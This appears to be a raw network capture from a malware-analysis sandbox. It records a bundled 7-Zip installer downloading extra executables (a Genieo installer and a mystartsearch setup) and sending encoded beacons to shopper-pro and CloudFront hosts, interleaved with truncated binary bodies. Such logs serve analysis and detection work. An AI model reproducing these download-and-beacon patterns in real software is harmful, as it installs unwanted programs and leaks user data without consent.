db.cloudfront.net (CloudFront)..X-Amz-Cf-Id: cuEmzbxHPh1F9N-P91JIqB1Iw
bTSNcX9icTcaUW7_sKmX6NvCI41Mw==......

GET /12895.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuE13rHoa9hTh4E7mrr1h80jmXqQawsZSOUA7dl9owwhJJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BncPfxNFD/ ad56ymZ4o9xQb6x14lCSqs/5Ds6yGKCI6pynfaNYH8L TRcHKuVeTpTHue1RZyJkvyMpFjoih9vt3JLgG5QML1YoqYA4lDRxGC8Drt0aCEZ8psmZLci oo11FFwnVblZzh9Kw5QsIDqFTDvvWGrJMjBvGZUjN1fBZVWxYc i3eUoktpCioILhsqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tTa/RmnbFycn/MCQQDL/agc83DGmT1vL7mOIqtr/iP3PhRM1E0AOBA7mbc LNSD go= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:14 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: F9YTXkCgm2AVifJBz-L7illlDFZ8P1xp53oXZcrJz2MsOZIzAe8Sdw==

....

GET /12895.ashx?e=vjRn qH YuPulzvurkdMteaHkvwiennMQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3DzDx9jQVYzJBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpexu3zyafL11HmS0ZrngqaehpOqw6bJSLjAzOm8FoQAH6fyQqqsNTv1QHs3X92ilH4s2O1I39PFhQC drCF7eFc68xQtOPoFcSR18f3JnQLBWPynJnrFbZ2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2p2YPhiksauVx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMCcS8vEZvvJQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: geLDsoMynRDmrrhkGQEPUVzRYdYxrouxXUH1BnaVaG2gGUC2pczBtQ==

....

GET /12895.ashx?e=N6dOqWm8Q95zRTWqMhK925/TkbZ2czqARFu5WRLw5eqMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNorAIjj0a1PU1AA8SD0cBj/uL3JpkNVc2cphfdOL Ldg5ZyZDarH49IiAjgjPt/PhmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUuPqzfJXqXzjXddlKQXVJ 8C9kGqHQpVkdFMp uC1nK0XTju1BdoOq1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 b56fc979704f01acc351fd21f5c956db.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KrBPwRhFEypDhK29sBiXofYIy5dNW5yor9Q_4roRSlE8J74hHvprdQ==

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 302 Found

Connection: close

Date: Tue, 24 Feb 2015 00:02:22 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1410
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5
f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.
8&VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1">
;here</a>.</h2>..</body></html>....<!DOCTYP
E html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.
org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="http:/
/VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Pag
e..</title></head>..<body>..    <form name="form1
" method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&Use
rID=8bbf5d60-0613-4bcc-93c8-28817ab1fcc2&Password=bbRSxORx&OS=
10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f3
8-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&am
p;PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&
amp;VA_Aff=NONE&ElapsedTime=1424736162&SBPIDS=1&KA=1" id="
form1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE
" value="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..
    <div>..    ..    </div>..    </form>..</b<<< skipped >>>

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:53:22 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-d66"

Expires: Sun, 22 Feb 2015 05:03:22 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 278

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C7jn1-7cCR4innd4sqcWZG-V-dCBgX9NkK2PSAe86KsO7mzyU9GHjw==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2sfi55f1s20qk.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:30:03 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 22 Feb 2015 05:40:03 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AmGGTW9uanGIlx004uh_UJGO8BO6GBTEckAdpD0Cpj5LUABXZOIOmQ==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g..l..iA...^..M..F...9..1..|t....g/_.dx.].
.. v,.d.Lo.{.Lv._.c.SK*x...xjCd.`..G{.e....acY9..Kx.}...h......-...i. 
...........I.#.00??..c.^.m...3.]...-5..K;{!.S.%..h......>.n...N.QQ.
.u.~.....`.J.x,>...3S\..5V*k.X>.W.a....Q....X.Iz...(5....}.I....
L.["1...w.!.... .o..p......).....t...\...3.v....HS?.;......px.......7p
.....k..<.700F.=SD... ..../..H......8..k..o....!..>...'%.<.W.
..."...%WbC(.......|...8.!~.. ".5.........E@......^....F. .TAm..'.....
....?.b.T..3.$cp.......q.<.....7.g...j.6..R.4 .A....v8).=...0}.<<< skipped >>>

GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGNtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3Nusz9pYl4sSxjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ty8ph h1ipV8PAw5Lp1Y428wJBAMv9qBzzcMaZPW8vuY4iq2v I/c FEzUTQA4EDvEYinCHDiBd8AeXrDcfXn1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=o4wkB1bL2nLulzvurkdMtSWStE4YVGSU 0R MP RL3UJOLXkS9L/h2bktPzt6FdqTvEC4JSYnM5Hrq9z7MTeCvRfDwdUdUtgoG1 4r8On3JnXw6eRR27vEQ5JRrthzer 1KrJEVAOY1CjWeJCGbPq69t7URjkW8nxeuVAFPAdPfAJhVganstyCA1hqBFSRfMm2RFYMv1QV2tgpGq8MXc4MEXPaFwRgefYeeO3me1TXZFx/2xcaGYCHyIpdJSklgCxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjiZex9KrXTvPUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoEuGoedNVFAuIR1sKxPFdTcPMPH2NBVjMkGMkWwl748xuHRUPzU7mvNY8ojP9wctShNKc/l2U9fg7jw/B3lonR7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BlNxwILmrCx9TvErBHdb0Bj38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoXJDC3MBqZhBghItqjlUgVa3wBxlndAVdcSZTerw9Y85dVUaX7QH4bytNUutjdaeNq2XevNeS4vewsQkLH VK3/H0yP7jN9/LspGxsI2Q6AGG188caoXin7Wjwfqp7MHxEi GVzQHau40lAwJN0gBwYgzaR8R5kiUwHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdtedJiZJGf0oLE2Z3mfWYaJTmmEwfMvfDkwyt3bdINAG8BlNxwILmrCx9TvErBHdb0Bj38Km4JMgAXQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/1ietnsFWJif05G2dnM6gK3WGopi1tI92YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XHQAxIlXsFUXlLthDcNxgsiLpzqqyVmBFvU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VIl8JkmZ/Wy9wpDKX/a3tH594khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8XrlQBTwHT3wCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OC5qscp OCRK6au9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=XJYuqQQo69dBmScQe cMuOLyPyzo0umuMV5rvWQh0tmRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORij0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WHcLb5rlPpW8m2J0WUeA93WyFYVCbp3 D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib8XrlQBTwHT3wCYVYGp7LcggNYagRUkXzJtkRWDL9UFdrYKRqvDF3OD9g2NhkCQ/IKau9xWXQx// HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=BSSQS1gsMUT4YOj/qSs/oGxMF4MLi3SHTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSQ/0x0rOdP8XXmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OnWyB8eDAkaikyNo/Tb6k0OWO0o0lcgU2xnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVD5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet/ENm1CGp iQuLmf6eHphUt9 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Ka qOJkckoWeZ6ieq0 M8O6XO 6uR0y1LE9g6MmGm r7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pO8QLglJiczkeur3PsxN4K9F8PB1R1S2CgbX7ivw6fcoFF6f/a06pCWjwfqp7MHxGpMWXGXOfhUpfVTwYZZ42PrVKO0Ac9MLfiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBffNVzLLcxFjdBjJFsJe PMbh0VD81O5rzWPKIz/cHLUpqN65rjmRD/rVGG/Xal99ijhKIPjTcuiw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:10 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:02:10 GMT..Content-Length: 0......

GET /app/ping.ashx?e=s0jsdppK9Ov4YOj/qSs/oModyAjE05f9TEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhhP9XtYEB8KiVYntFJILYSQ/0x0rOdP8W6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0IpyZUAtCd0jx7D/NWDThIRMihJwn 7xAorKyJmp6BC vYixUen2UaMc9YAe urn8x8kpng0IpIJ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Feo0TQZfu6Kxt3d/voAIfOLyPyzo0umul505lEjGRHKRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS5RWeJcqy7RHOWB7p8fTxpZAwTHJGHWlAW3c/Ne6ORik1/8E9Ve0OlwOfiWy9NaE3BTG7HloA5mtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoHOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl0Az0m 1PmkpZFEYmJBlESaAZSpRiXLg4A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Feb 2015 00:02:13 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 24 Feb 20
15 00:02:13 GMT..Content-Length: 0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:04:28 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Age: 941

X-Cache: Hit from cloudfront

Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: SMsVCRhwaUCJ6HU3AOlR37j8_koeDwpSNIaFPLOCbJEtSwbbWbPIPA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
...................................t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: ynMitVW1pAuuhwIpbesiGllWmd/u2 7J0ddPRcwSdAoEM1Lb TKETLlYYPpptHNXPZFwp792n4g=

x-amz-request-id: A0E112E9EA74309B

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 0-988407/988408

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=370653-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache



.'.;....Pcz.......>1ex.H.).1......9.....w.jt.oG Y 0V.G...G...[@i...
Dn...G./{.....(...3....s.1J...:...=..ZXi.H."n..`...nJ...u....O...'.Tl.
<.NR........M.S.2...d..<.g.G..Z.....F^oc2R..`F.O...O.B.....}.'[.
3.Eg.......;veo..i".YCBG....g.%v.i....|..gt....W..............6BE}.p..
..=......2.E...WA.....!..2.6...9p.@.. c.............:dX..^.&.i...@}. .
F...w..xH.K..e.........._!Zc.'w..L...E}...r-......r.".F.a~..jd!.N.f...
0r[.....E.........[..I. .....e q..K...y..]9.....8..:G~.......U ./...k.
T.....B.......#..ye.7.u3......<.....{'}.n..&..c[..&...._.C..O......
7r....._.......0.~ .._..(......Hsv..G...g..N....-.V...v...........y..?
.LL.T.........'.tN..j....k...8..(...P.5.E{[email protected]"1.U.)........R.
.)."...Yr.".].0#.Kz}..0[a/.{.. v.H.C.[]D.......f5...2.y.4.........]..j
